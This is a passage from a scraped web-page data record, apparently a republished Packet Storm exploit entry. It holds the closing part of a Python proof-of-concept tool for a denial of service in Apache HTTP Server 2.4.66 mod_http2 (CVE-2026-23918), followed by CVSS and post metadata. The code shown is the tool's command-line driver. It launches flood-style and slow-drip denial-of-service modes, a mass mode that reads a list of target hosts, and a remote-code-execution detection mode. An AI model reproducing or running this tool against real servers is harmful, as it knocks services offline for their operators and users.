default=5.0,\\n help=\\”Connection timeout in seconds (default: 5)\\”,\\n )\\n parser.add_argument(\\n \\”–no-ssl\\”,\\n action=\\”store_true\\”,\\n help=\\”Use plaintext HTTP\/2 (h2c) instead of HTTPS (h2)\\”,\\n )\\n parser.add_argument(\\n \\”–verbose\\”, \\”-v\\”, action=\\”store_true\\”, help=\\”Verbose output\\”\\n )\\n parser.add_argument(\\n \\”–json\\”, action=\\”store_true\\”, dest=\\”json_output\\”, help=\\”JSON output format\\”\\n )\\n \\n args = parser.parse_args()\\n \\n # Validate arguments\\n if args.mode in (\\”dos\\”, \\”slow-drip\\”, \\”rce-detect\\”) and not args.target:\\n parser.error(f\\”–target is required for mode ‘{args.mode}’\\”)\\n if args.mode == \\”mass\\” and not args.targets:\\n parser.error(\\”–targets file is required for mass mode\\”)\\n \\n use_ssl = not args.no_ssl\\n \\n # Register signal handlers for clean exit\\n signal.signal(signal.SIGINT, signal_handler)\\n signal.signal(signal.SIGTERM, signal_handler)\\n \\n # Dispatch to selected mode\\n try:\\n if args.mode == \\”dos\\”:\\n exploit = RapidRSTDoS(\\n target=args.target,\\n port=args.port,\\n workers=args.workers,\\n intensity=args.intensity,\\n use_ssl=use_ssl,\\n timeout=args.timeout,\\n verbose=args.verbose,\\n json_output=args.json_output,\\n )\\n exploit.run()\\n \\n elif args.mode == \\”slow-drip\\”:\\n exploit = SlowDripDoS(\\n target=args.target,\\n port=args.port,\\n workers=args.workers,\\n intensity=args.intensity,\\n duration_minutes=args.duration,\\n use_ssl=use_ssl,\\n timeout=args.timeout,\\n json_output=args.json_output,\\n )\\n exploit.run()\\n \\n elif args.mode == \\”mass\\”:\\n exploit = MassDoS(\\n targets_file=args.targets,\\n workers_per_target=args.workers,\\n intensity=args.intensity,\\n duration_minutes=args.duration,\\n use_ssl=use_ssl,\\n timeout=args.timeout,\\n json_output=args.json_output,\\n )\\n exploit.run()\\n \\n elif args.mode == \\”rce-detect\\”:\\n rce_detect(\\n target=args.target,\\n port=args.port,\\n timeout=args.timeout,\\n json_output=args.json_output,\\n )\\n \\n except KeyboardInterrupt:\\n print(c(\\”\\\\n[!] Interrupted by user.\\”, Color.YELLOW))\\n sys.exit(0)\\n except Exception as e:\\n print(c(f\\”\\\\n[!] Fatal error: {e}\\”, Color.RED))\\n sys.exit(1)\\n \\n \\n if __name__ == \\”__main__\\”:\\n main()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/222195″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/222195\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-29T16:15:45″,”description”:”Apache HTTP Server version 2.4.66 modhttp2 double-free denial of service proof of concept exploit…”,”published”:”2026-05-29T00:00:00″,”modified”:”2026-05-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Apache HTTP Server 2.4.66 Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:222195″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-23918″],”sourceData”:”# Exploit Title: Apache HTTP…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-58269","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n